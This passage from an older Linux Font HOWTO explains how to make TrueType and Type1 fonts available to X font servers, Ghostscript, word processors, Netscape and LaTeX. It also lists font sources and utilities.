4.3 True Type Fonts

Adding TrueType fonts is a little more difficult, because you need to have a font server that is capable of serving TrueType fonts. Two font servers that do this are xfstt and xfs.

xfstt is a TrueType font server. While it's easy to configure, and quite useful, it appear that xfs is becoming more popular. The main advantage of xfs over xfstt is that it supports both Type1 and TrueType fonts.

xfstt

To set up xfstt, just download it and install it. If you have an rpm based distribution, there is a well packaged version of xfstt at http://independence.seul.org/. Once you install it, you need to do the following:

  1. install fonts into the appropriate directory ( read the documentation that comes with the package ).
  2. cd to that directory and run xfstt --sync. This causes it to look for the fonts and create the fonts.dir file.
  3. Now add unix/:7100 to your font path.
Your TrueType fonts should now display and be available to applications such as GIMP and Netscape. You may want to configure it to start every time your system starts up. Check to see if there's a startup file included ( if you are using RPM, you can use rpm -ql xfstt |grep init and look for the file with a name something like this: /etc/rc.d/init.d/xfstt ) If you don't have an init script, just put two lines in /etc/rc.local like this:
        /usr/X11R6/bin/xfstt --sync
        /usr/X11R6/bin/xfstt &

4.4 xfs

Some of the newer Linux distributions ship with the X font server xfs configured to run as a stand alone program. Notably, Redhat and all the redhat based distributions use this modularised xfs with TrueType compiled in. Debian also ship xfs, but the version they ship doesn't have built in true type support.

Running xfs as a stand alone server has several benefits, especially if it is compiled with TrueType support. The main advantage is that since the font server is no longer attached to the X server, it is possible to serve fonts to remote displays. Also, it makes it much easier to modify the font path.

The xfs Path

As a font server, xfs has it's own font path. One might wonder where this fits into the picture. It works like this: you can place the xfs font server in XFree86's font path, by adding unix/:port to the XFree86 font path. Once you do this, any font in the xfs font path automatically becomes available to XFree86.

The xfs font path is determined by the xfs configuration file, which is /etc/X11/fs/config on Redhat, and /etc/X11/xfs/config on Debian. Redhat users do not need to explicitly edit this file, they can use the chkfontpath utility. The syntax is simple:

        chkfontpath --add directory
Users of other distributions can edit the configuration file as follows:
        catalogue = /usr/X11R6/lib/X11/fonts/misc:unscaled,
        ...
        /usr/share/fonts/my_new_fonts/,
        ...
        /usr/share/fonts/some_other_directory
        # in 12 points, decipoints
        default-point-size = 120
        ...
The above would add /usr/share/fonts/my_new_fonts/ to the xfs font path. Note that the last line of the list of directories doesn't have a comma at the end. For these modifications to the font path to become effective, xfs must be restarted. It's also a good idea to restart your X session after restarting xfs.

Installing a Font Into xfs

To prepare a font for xfs, you need to follow the following steps:

  • If you don't have xfs installed, you need to install it.
  • Put the new fonts in a directory.
  • If you are installing Type1 fonts, prepare the new directory for the server by running type1inst in the directory.
  • If you are installing TrueType fonts, ( remember, not all distributions can do TrueType via xfs ! ), prepare the new directory for the server by running
            ttmkfdir -o fonts.scale
        mkfontdir
    in the directory containing your new fonts. ttmkfdir is part of the freetype package.
  • Now you can add the new directory to your xfs search path. Users of Redhat-like distributions can do this with the chkfontpath utility: Other users can do this by editing their xfs configuration file.
  • if xfs is already installed on your system, you should see which port it is running on. You can do this as follows:
            ps ax|grep xfs
  • Then check your XFree86 font path.
                    xset -q
  • If your font path includes something like unix:/port_number were port_number is the port which the server is running on, then you already have xfs set up properly. Otherwise, you should add it to your XFree86 font path.
                    xset fp+ unix/:port_number
                xset fp rehash
    You can add it permanently by editing your .xinitrc as explained previously. To add it system wide, edit your XF86Config file ( probably either /etc/X11/XF86Config, /etc/XF86Config or /usr/X11R6/lib/X11/XF86Config ), by adding a line FontPath "unix:/port_number" in the Files section. Here's an example:
                    ...
                Section "Files"
                ...

                FontPath "unix/:-1"
                ...
                EndSection
                ...
  • If xfs is already properly installed, then you can restart it like this:
                    /etc/rc.d/init.d/xfs restart
  • After restarting xfs, it's a good idea to restart your X-session.


Font HOWTO: Making Fonts Available To Ghostscript

 Next Previous Contents

5. Making Fonts Available To Ghostscript

To make fonts available to ghostscript, it suffices to tell ghostscript where the files corresponding to a given font are located. The file that needs to be edited is /usr/share/ghostscript/version/Fontmap. The format is very simple, almost immediately self evident on perusing it.

5.1 Type1

Adding Type1 fonts is straightforward. Run type1inst on the directory containing the font. type1inst will output a file called Fontmap. Append this file to the ghostscript Fontmap file.

5.2 True Type

Adding truetype fonts is a little trickier, because we have to get the name of the TrueType font. One way (brute force, alas) to do this is using the ttf2pt1 TrueType to Type1 converter, and grabbing the font name from the afm ( there's got to be a more efficient way ! but this works, ugly as it is ). You do it like this:

                ttf2pt1 -A fontname - 2 > /dev/null  |grep FontName
Then you add an entry to the ghostscript Fontmap file in the correct format, eg
        some-font       (/usr/share/fonts/subdirectory/somefont.pbf);
Well, that works fine, but try doing it with 500 or so fonts. This is the kind of thing that calls for a short perlscript:
#!/usr/bin/perl
# ttfontmap -- generate fontmap file for TrueType fonts
my $directory=shift || print STDERR "Usage: ttfontmap {directory}\n";

$directory=~s/\/$//;

for my $fontname ( glob ( "$directory/*.ttf" ) )
{
    open ( R, "sh -c \"ttf2pt1 -A $fontname - 2>/dev/null\" |" );
    while ( <R> )
    {
        if ( $_ =~ /^FontName/ )
        {
            s/^FontName\s*//;
            chomp;
            print "/" .  $_ . "    ($fontname);\n" ;
        }
    }
    close R;
}
You can download this script

To set this script up, all you need to do is cut and paste it into a file called ttfontmap, and place the file somewhere in your PATH ( such as /usr/bin ). You run this script like this:

        ttfontmap directory > output_file
where directory is the directory containing the fonts. You are left with the file output_file which you can append to your ghostscript fontmap. Note: some will observe that you could just use
        ttfontmap directory >> /usr/share/ghostscript/version/Fontmap
However, I advise against this ( what would happen if you typed ``>'' instead of ``>>'' ? )

5.3 Using Ghostscript To Preview Fonts

Once you've made fonts available to ghostscript, you can preview them. Do this by running the ghostscript interpreter on the file prfont.ps in your ghostscript installation, and after you start it, type:

        /Fontname DoFont
at the ghostscript font ( where FontName is the ghostscript name of the font you wish to preview ). There are several other ways you can invoke gs. For example, if you want to create a postscript file that you can look at in a nicer postscript viewer such as gv, you can use
        gs -sDEVICE=pswrite -sOutputFile=somefile.ps  prfont.ps
Having done this, you can also print your output file.


Font HOWTO: True Type to Type1 Conversion

 Next Previous Contents

6. True Type to Type1 Conversion

6.1 Why ?

or perhaps the right question to ask is ``why not ?'' The typical Linux user has experienced a migration from Windows, and probably has an enormous collection of TrueType fonts. Many of these fonts ( eg those that ship with MS Word and Corel's products ) are of fairly good quality. However, some Linux applications, such as Star Office and LaTeX do not support TrueType fonts, but do support Type1 fonts. update: it looks like Star Office can handle TrueType fonts, but I'm still trying to work out the details. At best, it involves some fairly gruesome hacks. This is a pity, because with ghostscript support for TrueType, and TrueType font servers, Linux has the infrastructure it needs to handle TrueType.

6.2 How ?

To convert your TrueType fonts into Type1 fonts, go to http://quadrant.netspace.net.au/ttf2pt1/ and get ttf2pt1. To convert a TrueType to a Type1 font, use the following syntax:

        ttf2pt1 -b file.ttf name
Where name is the name of the file corresponding to the new Type1 font ( ie it's arbitrary. It's a good idea to make it the same as the ttf file. eg ttf2pt1 -b foo.ttf foo.

Well, that worked fine for one font. If we have a lot, we need a smarter way to do it. One can just just use a loop:

        for X in *.ttf; do ttf2pt1 -b $X ${X%%.ttf}; done
Alternatively, you can download the ttfutils package and use ttf2type1 for the conversions.
        ttf2type1 *.ttf


Font HOWTO: WYSIWYG Publishing and Fonts

 Next Previous Contents

7. WYSIWYG Publishing and Fonts

7.1 Introduction and Overview

Installing fonts for WYSIWYG publishing on Linux is a relatively complex task. It typically involves three steps:

  • Make the font available to the X server
  • Make the font available to ghostscript
  • Make the font available to the application
The main reason for the complexity is that the font printing system ( ghostscript ) is unrelated to the screen font system. In a way, Linux's left hand does not know what it's right hand is doing. This problem is nontrivial to solve, because it is possible that printer fonts and display fonts reside on different machines, so there is no guarantee that all fonts the XClient uses are printable.

The good news is that most WYSIWYG applications use what is a reasonable solution to this problem. The solution involves constructing some kind of mechanism that maps screen fonts to printer fonts ( this is the main issue. There are also other issues, such as grouping bold, italic and roman variants into ``families'' of fonts ). Unfortunately, there is no standard way to do this. It seems that font management standards which address this issue would greatly simplify the installation of fonts into WYSIWYG publishing systems, because all applications could use a system-wide ( as opposed to application-specific ) configuration.

7.2 Applixware

There are two ways to install fonts into Applixware. One method involves using FontTastic, which is Applixware's ``private'' font server. The other method involves editing Applixware's fontmap, to use a font already installed on the system. Installing into the font server is more convenient, but fonts installed in this manner may only be printed at 300 dpi.

FontTastic

Using FontTastic is the easy way to do it. To install new fonts like this, simply do the following:

  1. Run Applixware as root
  2. Click on the tools menu.
  3. Choose ``Font Installer''
  4. Check ``OK'' in the popup dialog
  5. Click the ``Catalogs'' menu and choose ``create''
  6. Fill in the catalog name box. It doesn't matter what you put there. For the rest of this example, we'll assume it's called ``foobar''
  7. Select your foobar catalog from the catalog manipulations list.
  8. From the ``Services'' menu, select ``install fonts into -> FontTastic font server''
  9. Make sure catalog foobar is selected in the catalogs list, then press the ``select files'' button.
  10. Use the select files dialog to select the fonts you want to install. Press ``OK'' when you've selected the files. For example, if you want to select arial.ttf in the directory /usr/share/fonts/ttfonts/, you would type /usr/share/fonts/ttfonts in the ``Current Directory'' dialog, then select arial.ttf from the files dialog box, then click ``OK''. Note that you can select multiple files, but they all must come from the same directory.
  11. You can edit your list by checking on the different fonts in the list box and possibly removing or renaming them.
  12. When you're ready, click the ``install fonts'' button. Then click ``OK''.
  13. Go to the ``services'' menu and choose ``update''. Check ``OK'' on the annoying modal dialog, then choose exit from the services menu. Exit applix.
  14. Congrats, you're done ! The new fonts will be available when you restart Applix.

Using System Wide Fonts With Applixware

This method is more involved, but produces better results. I recommend that this method is used for fonts that are really important, and that you use a lot. There are a few steps to this:

Make the fonts available to X

This is explained in the previous section

Make the fonts available to ghostscript

This is explained in in the previous section

Edit the fontmap.dir

This is the final step in making your fonts available to Applix, and also the most time consuming step. The file fontmap.dir is in under the axdata/fontmetrics of your applix installation. The purpose of this step is basically to tell applix which screen fonts go with which outline fonts. This is in general a very nontrivial problem, because the screen fonts are not always on the same computer that the application is installed.

We describe how to add fonts to fontmap.dir. In this example, we add the font Baskerville Italic.

  1. First, we add a line that says FontRecord = Baskerville-Normal-Italic In fact, the name we use in FontRecord is completely arbitrary. However, the font record must be unique to the font. Because of this, it's good practice to use the name that ghostscript uses for the font.
  2. Next, we a line that says Family = Baskerville The family name for a font is the name that appears in Applix's font selection menu. Typically, it is non-unique, since bold, italic, roman and bold-italic variants of a font will typically go under the same family.
  3. If the font is either a bold, or italic variant, or both, we need to add the following lines:
            Slant = 1
    if the font is italic, and
            Weight = 1
    if the font is bold. If the font is bold and italic, we add both lines. In this example, we need only add the line
            Slant = 1
  4. We add a line that looks like this:
            ScreenName = "-paradise-baskerville-medium-i-normal--0-0-0-0-p-0-iso8859-1"
    The screen name is the name that the X-server uses for the font. We can list font names containing the string ``bask'' by typing
            xlsfonts|grep -i bask
  5. Now we add a line that gives the name of the printer font: PostScriptPrinterName = Baskerville-Normal-Italic
  6. Next, we need to specify the location of the font metric file and the outline file
            MetricsFile = /usr/share/fonts/misc/baskvli.afm
        Type1FontFileName = /usr/share/fonts/misc/baskvli.pfb
    If you are adding a TrueType file, you can use ttf2pt1 to generate an afm file :
                    ttf2pt1 -A foo.ttf - > foo.afm
    ( or get the ttfutils package and use ttf2afm ) Then you use something like this:
            MetricsFile = /usr/share/fonts/misc/foo.afm
    Do not include a Type1FontFileName directive -- let ghostscript take care of this.

That's it. Now after adding the whole family of fonts, you should have something like this:

        FontRecord = Baskerville-Normal
        Family = Baskerville
        ScreenName = "-paradise-baskerville-medium-r-normal--0-0-0-0-p-0-iso8859-1"
        PostScriptPrintName = Baskerville-Normal
        MetricsFile = /usr/share/fonts/misc/baskvl.afm
        Type1FontFileName = /usr/share/fonts/misc/baskvl.pfb

        FontRecord = Baskerville-Normal-Italic
        Family = Baskerville
        Slant = 1
        ScreenName = "-paradise-baskerville-medium-i-normal--0-0-0-0-p-0-iso8859-1"
        PostScriptPrintName = Baskerville-Normal-Italic
        MetricsFile = /usr/share/fonts/misc/baskvli.afm
        Type1FontFileName = /usr/share/fonts/misc/baskvli.pfb

        FontRecord = Baskerville-Bold
        Family = Baskerville
        Weight = 1
        ScreenName = "-paradise-baskerville-bold-r-normal--0-0-0-0-p-0-iso8859-1"
        PostScriptPrintName = Baskerville-Bold
        MetricsFile = /usr/share/fonts/misc/baskvlb.afm
        Type1FontFileName = /usr/share/fonts/misc/baskvlb.pfb

        FontRecord = Baskerville-Bold-Italic
        Family = Baskerville
        Weight = 1
        Slant = 1
        ScreenName = "-paradise-baskerville-bold-i-normal--0-0-0-0-p-0-iso8859-1"
        PostScriptPrintName = Baskerville-Bold-Italic
        MetricsFile = /usr/share/fonts/misc/baskvlbi.afm
        Type1FontFileName = /usr/share/fonts/misc/baskvlbi.pfb

It is possible to do more with this configuration file. The file itself has a glossary which explains the format of the configuration file.

7.3 Star Office

Here, we cover Star Office 5.0. The procedure with Star Office 5.1 is similar, but the utility is called spadmin, not psetup. It's worth mentioning up front that John McLaughlin's page is an excellent source on this issue, and it inspired most of what follows.

Having tried both Star Office 5.0, and 5.1, I have found that Star Office 5.1 seems to give me less grief when adding new fonts. I was not succesful adding true type fonts to Star Office 5.0, but it proved somewhat easier with Star Office 5.1.

Backup Your Configuration Before you Start !

It's good to make a backup in case you inadvertantly hose your configuration. Modifying fonts will impact several files in the xp3. You should definitely backup the file xp3/psstd.fonts. I recommend going further and backing up the whole xp3 directory. You can do this by cd-ing to your Star Office directory, then using

        tar cvzf xp3.tgz xp3
to create a backup. To restore a backup, delete the xp3 directory and unpack the archive
        rm -rf xp3
        tar xvzf xp3.tgz

Adding Type1 Fonts to Star Office

Adding Type1 fonts to Star Office is relatively simple. If you want to use your TrueType fonts with Star Office 5.0, the best thing to do is convert them to Type1 fonts, and then follow the procedure outlined here. If you have Star Office 5.1, you might wish to use the proceedure for installing TrueType fonts instead ( though it is somewhat more difficult ). Firstly, do the usual thing -- make the font available to both X and ghostscript. Once this is done, the font can be installed into Star Office using the psetup tool. The procedure is as follows:

  1. As root, run psetup ( or spadmin if you have Star Office 5.1 )
  2. Press the ``add fonts'' button.
  3. The easiest thing to do after this is press the ``initialize font paths'' button. This puts a list of all fonts in your X font path in the list box.
  4. Choose the directory containing the font you wish to install ( it should be in the box ), and then press ``OK''.
  5. Click the ``convert all font metrics button''.
That's it. You're done. You can exit ( or click ``OK'' until it exits ). When you restart Star Office, you will have the new fonts.

Adding TrueType Fonts to Star Office

Adding TrueType fonts to Star Office is nontrivial, but possible. After some hard work, and long hours stareing at John McLaughlin's page page, I finally got them working in Star Office 5.1. Note that this does not work with version 5.0. The following steps are appropriate it you are printing through ghostscript:

  • Make the fonts available to X.
  • Make the fonts available to ghostscript.
  • You need to have afm files for the fonts you wish to add. Use
            ttf2pt1 -A foo.ttf - > foo.afm
    to create the afm files. Alternatively, you can get the
  • ttfutils package and use ttf2afm The advantage of this is you can handle several at a time, eg
            ttf2afm *.ttf
  • Star Office needs pfb files corresponding to each ttf file. You can create them with the command
            touch foo.pfb
    Actually, Star Office only uses these files for printing purposes. And by enterring the font in the PPD, thus duping Star Office into thinking the fonts are inside your printer ( when they're actually inside ghostscript's rendering system ), you get around needing to use these files. Star Office just seems to require that the pfb file exists to install the font.
  • Now you can run spadmin and install the font(s).
  • Now add the fonts to the PPD file corresponding to your printer configuration. The name you use for the font should be the same name Star Office uses for it, not the ghostscript font name. For example, if the font is foobar.ttf and the corresponding afm file is foobar.afm, you use the name ``foobar'' for the font in the PPD file. The entry should look something like this:
    *Font cloistrk: Standard "(001.002)" Standard ROM

On the other hand, if you are not printing from ghostscript, you have different issues to deal with. In this case, tricking Star Office into thinking that your printer has the fonts is a bad idea, because your printer does not have the fonts in the ROM, so while gv will display the postscript files nicely, your printer will not be able to print them. If you have a postscript printer, the main differences are as follows:

  • Do not edit the PPD file.
  • Instead of using touch foo.pfb to create empty pfb files, you need the pfb files to be Type42 postscript fonts. A Type42 font is really a ``printer TrueType font''. You don't really notice Type42 fonts even when you use them, because most applications handle them transparently. To create Type42 fonts, you use ttfps to create the files.
            ttfps foo.ttf foo.pfb

There are some gotchas. Sometimes, Star Office might not choose the screen font you like. It is sometimes worth checking xp3/psstd.fonts and possibly editing it to make sure that Star Office is really using the font you had in mind for screen display. Also, Star Office doesn't handle configuration problems gracefully. If there's something wrong with your configuration, it's possible that the word processor will not even start. This is why you should back up your xp3 directory.

Under the Hood

If you wish to install TrueType fonts in Star Office, you may need to learn how Star Office handles things. When you run spadmin or psetup, the following happens:

  • Star Office makes symbolic links to the pfb outline files in your xp3/pssoftfonts directory.
  • The afm file is copied into the directory xp3/fontmetrics/afm/
  • An entry is added to the xp3/psstd.fonts file. This file stores the names of all the screen fonts used by Star Office ( in particular, it maps the screen fonts to the outline filenames ).

This is why it's good to simply backup the whole xp3 directory -- it is the only convenient way to restore Star Office to a clean configuration.

7.4 Word Perfect

Nothing yet. Rod Smith's webpage is the definitive resource regarding installing fonts on Word Perfect.


Font HOWTO: Netscape

 Next Previous Contents

8. Netscape

Perhaps the most notorious application as far as fonts are concerned is the dreaded Netscape. However, there is a fairly simple procedure to attack Netscape font ugliness. The main problem is that Netscape wants to use 75dpi fonts which is typically too small. You can fix this by specifying the appropriate X resources in your .Xdefaults file:

        Netscape*documentFonts.sizeIncrement: 20
        Netscape*documentFonts.xResolution*iso-8859-1: 100
        Netscape*documentFonts.yResolution*iso-8859-1: 100
The number 100 can be chosen arbitrarily. For example, if you like your fonts really large, like I do, then you may want to use 150 instead.

The other essential tip with regard to addressing Netscape font ugliness is this -- get the Microsoft font pack. These fonts are widely used and it makes an enormous difference if you have ( or don't have ) those fonts.


Font HOWTO: TeX / LaTeX

 Next Previous Contents

9. TeX / LaTeX

9.1 A Quick Primer on LaTeX/TeX fonts

Adding fonts to TeX and LaTeX is a somewhat complex procedure. However, like a lot of things, it's easy if you know how to do it. Some fonts are distributed in metafont format, and some in Type1 format. Usually, the Type1 formats are more easily available. However, metafont fonts have the distinct advantage that they can adjust their shape at different sizes, while Type1 and TrueType fonts at different point sizes are simply magnified or reduced versions of precisely the same shape. The main reason why this feature is desirable is that ideally, fonts should be ( relatively ) wider at smaller sizes and narrower at larger sizes.

For this discussion, we focus on Type1 fonts, since they are more widely available, and more problematic to install.

Here's a quick primer on LaTeX fonts. LaTeX uses the following types of font files for handling Type1 fonts:

  • .pl -- property list. This is a human readable version of a tex font metric file.
  • .vpl -- virtual property list. Human readable version of a virtual font file.
  • .fd -- font definition. Used to define a family of fonts.
  • .tfm -- tex font metric. This is a metric file, as explained in the glossary. It is completely analogous to the .afm files used by Type1 fonts. TeX needs the font metrics to properly layout the page.
  • .vf -- virtual font. These files contain encoding details, and act as interpreters. TeX treats them as fonts. For example, Imagine that there's some wacky font foobar-exp.pfb which consists of a few ( say 20 ) alternate characters, and there's a virtual font which uses a few of these alternate characters ( and it gets the rest of the characters from font foobar.pfb ). Dvips might say ``I want character 65 of virtual font foo.vf''. Dvips knows that 65 is always an ``a'' in TeX's scheme. Then the virtual font maps TeX's request to a request for character 14 of the Type1 font foobar.pfb ( which might be the alternate ``a'' in the Type1 font foobar.pfb ). The virtual font mechanism is very flexible and allows fonts to be constructed from many different font files. This is useful when using fonts such as adobe's ``expert'' fonts.
  • .pk -- a device dependent bitmap font. These are usually constructed on an as-needed basis ( they are renderings of Type1 and metafont fonts ). They are typically high resolution ( about 300-1200dpi ), and are intended to be rendered on a printer. Because of their high resolution, and the fact that each point size of each font requires a .pk file, they require a lot of disk space, so they are cached, but not stored.
  • .mf -- metafont files. Metafont is a graphics programming language widely used for font design ( though it can also be used for graphics ). It has many advantages over TrueType and Type1 schemes. However, it's main weakness is that it is not as ubiquitous as TrueType or Type1 ( and it is also not terribly well suited to WYSIWYG publishing. Of course, this isn't a major disadvantage when TeX is your typesetting system. )

It's good to know your way around the TeX directory structure. Here are the main directories you'll need to know about:

  • $TEXMF/fonts -- the main font directory
  • $TEXMF/fonts/type1 -- the type1 font directory
  • $TEXMF/fonts/type1/foundry -- the directory for the shape files in a given foundry
  • $TEXMF/fonts/type1/foundry/fontname -- contains the font called name. The name is usually plain English, and needn't follow TeX's cryptic naming scheme for fonts.
  • $TEXMF/fonts/afm/foundry/fontname -- the directory containing the afm files corresponding to the font name belonging to foundry foundry.
  • $TEXMF/fonts/tfm/foundry/fontname -- analogous to the afm directory, but contains tfm files instead.
  • $TEXMF/fonts/vf/foundry/fontname -- similar to the above, but contains the virtual fonts.
  • $TEXMF/fonts/source/foundry/fontname -- similar to the above, but contains metafont files.
  • $TEXMF/dvips/config/psfonts.map -- fontmap file for dvips. This file is similar in both function and format to ghostscript's Fontmap file.
  • $TEXMF/tex/latex/psnfss -- this is where all the font definition files go.

9.2 Adding Type1 fonts

Naming the fonts

First, you need to appropriately name your fonts. See the fontinst documentation on your system for instructions on how to name fonts ( it should be fontinst subdirectory of the directory containing your tetex documentation ). To make a long story very short, the naming scheme is FNW{V}E{n} where:

  • F is a one-letter abbreviation for the foundry ( m = monotype, p = adobe, b = bitstream, f = free )
  • N is a two letter abbreviation for the font name ( for example, ag = ``avant garde'' )
  • W is the font weight ( r = regular, b = bold, l = light d = demibold )
  • V is an optional slope variant ( i = italic , o = oblique )
  • E is an abbreviation for the encoding ( almost always 8a which is adobe standard encoding ).
  • N is an optional width variant ( n = narrow )
For example, the font Adobe Garamond demibold is pgad8a.

Creating the virtual fonts and tex font metrics

Now you can run fontinst as follows:

        latex `kpsewhich fontinst.sty`
then you type at the prompt:
        \latinfamily{font_name}{}\bye
where font_name is the first three letters of your font file name ( for example, pad for adobe garamond ). Now fontinst will generate a number of files -- font description files, property list files and virtual property list files. It also generates a lot of .mtx files. These are created by fontinst, but you don't need to use them. You need to convert the property lists and virtual property lists to metrics and virtual fonts. This is done using the utilities vptovf and pltotf.
        for X in *.pl; do pltotf $X; done
        for X in *.vpl; do vptovf $X; done
Then remove the old vpl, pl and mtx files.

Configure dvips

You will need to edit your dvips config file, psfonts.map. The best way to explain the format of the file is to give an example.

     marr8r          ArialMT <8r.enc <farr8a.pfa
     marbi8r         Arial_BoldItalicMT <8r.enc <farbi8a.pfa
     marb8r          Arial_BoldMT <8r.enc <farb8a.pfa
     marri8r         Arial_ItalicMT <8r.enc <farri8a.pfa
     marr8rn         Arial_Narrow <8r.enc <farr8an.pfa
The 8r.enc is simply there to inform dvips of the encoding scheme used ( in all our examples, it's 8r, because of the way fontinst constructs the virtual fonts ). The leftmost column is the font name TeX uses. The second column is the real name of the font, which is hardcoded into the font file ( this name can be deduced by opening the afm file in a text editor, and looking for the FontName directive ). The last column is the filename of the shape file corresponding with the font. It is not necessary to provide a directory path -- tex knows where to look.

Test the font

Try running latex on a document like this:

\documentclass{article}
\begin{document}
        \usefont{T1}{pga}{m}{n}\selectfont
        \huge
        Testing a new font \dots the quick red fox jumped over the lazy brown dogs
\end{document}
where you replace pga with the outline of your font. If this works, you are almost done. All you have to do now is put all the files in the right directories ( as explained in the primer ), then run
         texconfig rehash
so that tex can update the directory lists.

Create a .sty file

You may want to create a .sty file so that you can more easily use fonts. Use the files in $TEXMF/tex/latex/psnfss as a template.


Font HOWTO: Getting Fonts For Linux

 Next Previous Contents

10. Getting Fonts For Linux

10.1 True Type

Commercial Software

True type fonts are very easy to come by, and large amounts of them are typically included in packages like Microsoft Word and Word Perfect. Getting Word Perfect is an easy way to get an enormous amount of fonts ( and if you're really cheap, you could buy a legacy version of Word Perfect for windows. The fonts on the CD are readable. )

Microsoft's Font Download

Microsoft have also made several TrueType fonts available. The .exe file is simply an archive, you can extract it using unzip. You can get them from the download site

Luc's Webpage

Luc Devroye's webpage has links to several sites with free fonts available. What's unique about these fonts is that a lot of them are really free, they are not ``warez fonts''.

Web sites with truetype fonts

There are several web sites offering freely available downloadable fonts. For example, the freeware connection has links to a number of archives.

Foundries

Several foundries sell TrueType fonts. However, most of them are quite expensive, and for the same money, you'd be better of with Type1 fonts. I'll discuss these more in the Type1 fonts section. The one place that does do sell true type fonts at low prices is buyfonts. Please read the section on ethics before you buy cheap fonts.

10.2 Type 1 Fonts and Metafont

Dealing With Mac and Windows Formats

Many foundries ship fonts with Windows and Mac users in mind. This can sometimes pose a problem. Typically, the ``Windows fonts'' are fairly easy to handle, because they are packed in a zip file. The only work to be done is converting the pfm file to and afm file ( using pfm2afm ).

Macintosh fonts are more problematic, because they are typically made available in .sit.bin format -- stuffit archives. Unfortunately, there is no tool for Linux that can unpack stuffit archives created with the newer version of stuffit. The only way to do it is run Executor ( Mac emulator ), or try running stuffit in dosemu or Wine. Once the sit.bin file is unpacked, the Macintosh files can be converted using t1unmac which comes with the t1utils package.

Unfortunately, some vendors only ship Type1 fonts in Macintosh format ( stuffit archives ). However, according to font expert Luc Devroye, all major foundries make Type1 fonts available for Mac and Windows.

Free Stuff

ctan have a number of good fonts, many of which are free. Most of these are in Metafont format, though some are also Type1 fonts. Also, see Bluesky who have made available Type1 versions of the computer modern fonts. ( The computer modern fonts are of excellent quality -- to purchase anything of comparable quality and completeness will cost you around $500-. They are comparable to the premium fonts. )

Luc Devroye's webpage has links to several sites with free fonts available. What's unique about these fonts is that a lot of them are really free, they are not ``warez fonts''.

URW have released the standard postscript fonts resident in most printers to the public domain. These fonts are quite good.

The Walnut Creek Archive has several freely available fonts, and shareware fonts. Some of these are obvious ripoffs ( and not very good ones ). If a font doesn't come with some kind of license, chances are it's a ripoff. Also Winsite have several Type1 fonts ( in the fonts/atm subsection of their windows 3.x software ). Unfortunately, several of these have afm files which have mistakes and are missing all kerning pairs ( you can fix the afms by editing the "FontName" section of the afm files. It should match the fontname given in the font shape file. Of course, adding kerning pairs is a topic beyond the scope of this document. )

Luc Devroye's webpage includes several free fonts he designed, as well as a lot of links, and fascinating discussion on the topic of typography. This site is a ``must-visit''. There are also several links to many foundries.

Commercial Fonts

Value vs Premium: Why Should I buy Premium Fonts ?

So you're wondering -- why do some fonts cost a lot and others are cheap ? These fonts are the ``standard postscript fonts'' resident in most postscript printers. Also the famous Why should I buy the more expensive ones ? My take on it is that for a casual user, the value fonts ( such as those on the Bitstream CD ) are just fine. However, if you're using the fonts for ``real work'', or you're just a hard core font junkie, then the better quality fonts are a must-have -- and most of the quality fonts are either free ( for example, Computer Modern ), or they are upmarket commercial fonts.

The advantage of the cheaper fonts is self evident -- they are cheaper. The quality fonts also have their advantages though.

  • Ethical issues: The cheaper fonts are almost always ripoffs. Type design takes a long time and and experienced designer. Fonts that are sold for less than $1- per font were almost certainly not designed by the vendor. CDs with insane quantities of fonts on the are almost always ripoffs ( the possible exceptions being collections from major foundries that cost thousands of dollars ). Usually, the ripoffs lack the quality of fonts from respectable founries.
  • Completeness: The higher quality fonts ( notably from Adobe ) come in several variants, with some nice supplements to provide the user with a more complete font family. There are often bold, italic, and demibold variants, swash capitals, small caps, old style figures, and extra ligatures to supplement the font. More recently, Adobe have a multiple master technology which gives the user ( almost ) infinite variation within one font family.
  • Quality: A lot of the freely available fonts or the cheap ripoffs lack fairly essential features such as kerning pairs and decent ligatures. They are basically cheap copies. In contrast, reputable designers take a lot of trouble to study the original design, and rework it to the best of their ability.
  • Authenticity: The person who designed Adobe Garamond ( Robert Slimbach ) actually studied the original designs of Claude Garamond. In fact reputable foundries always carefully research their designs, rather than just swiping something off the net, and modifying it with Fontographer.

Value

  • An excellent place to go for a CD packed with several Type1 fonts of reasonable quality is Bitstream. Bitstreams more noted products include their 250 font CD and their 500 font CD ( the latter goes for $50- at the time of writing ). These are fairly good quality fonts, and are a fairly good starting point for the casual user. The fonts used in Corel's products are (mostly) licensed from bitstream.
  • Matchfonts offer more modestly priced fonts -- they are distributed in ``packs'' of about 8 fonts for $30. This includes some nice calligraphic fonts. All fonts seem to be offered in a usable format ( the windows ATM fonts come in a .exe file. Don't let the extension fool you -- it's just a zip archive ). These are not ripoffs as far as I can tell.
  • EFF sell TrueType fonts for $2- per hit. They also have ``professional range'' postscript and TrueType fonts for $16- per typeface.

Premium

  • Adobe have several high quality, fonts available at Adobe's type website. Some of these are expensive, but they have several more affordable bundles -- see Adobe Type Collections. Adobe have some of the most complete font families on the market, for example, Garamond, Caslon, and their multiple masters ( Myriad and Minion, used on their website are among the nicer of their multiple masters. )
  • Berthold Types Limited is a major foundry, who offer several quality fonts. Some of them are resold through Adobe, all are directly available from Berthold. Same price ballpark as Adobe.
  • ITC develop several quality fonts ( including some of the ones Corel ships with their products ) at http://www.itcfonts.com They offer family packages for about $100-180 US. Their fonts, come in both Type1 and TrueType format. It's better to choose the ``Windows'' package, because Mac formats are difficult to handle on Linux.
  • Linotype are a well known foundry who offer fonts by legendary designers including Herman Zapf. ( yep, the guy ``Zapf Chancery'' is named after. He also designed Palatino. )
  • Monotype develop most of the fonts shipped with Microsoft products. One of the older and well respected foundries.
  • Tiro Typeworks sell good quality, if somewhat expensive typefaces. Their typefaces are very complete, for example, they include complete sets of ligatures, and smallcaps, titling fonts, etc. UNIX is listed as one of the OS options -- which is a welcome surprise after seeing the words ``Windows or Mac'' too many times..

More Links

For links to a bunch of other foundries, see Luc Devroye's page


Font HOWTO: Useful Font Software for Linux

 Next Previous Contents

11. Useful Font Software for Linux

There are several font packages for Linux. Many of them are essential.

  • chkfontpath is a utility for manipulating the xfs configuration file.
  • DTM -- the Definitive Type Manager is a global font management tool. This is a developer's release.
  • fontinst is a LaTeX package designed to simplify the installation of Type1 fonts into LaTeX.
  • Freetype is a TrueType library that comes with most Linux distributions
  • Ghostscript is the software that is used for printing on Linux. The version of ghostscript that ships with Linux is GNU ghostscript. This is one version behind the latest release of Aladdin ghostscript ( who release their old versions under the GPL )
  • pfm2afm is a utility for converting windows pfm font metric files into afm metrics that can be used for Linux. This is based on the original version available at CTAN, and includes modifications from Rod Smith to make it compile under Linux.
  • mminstance and t1utils are two packages for handling Type1 fonts. mminstance is for handling Adobe's multiple master Type1 fonts. t1utils is a suite of utilities for converting between the different Type1 formats.
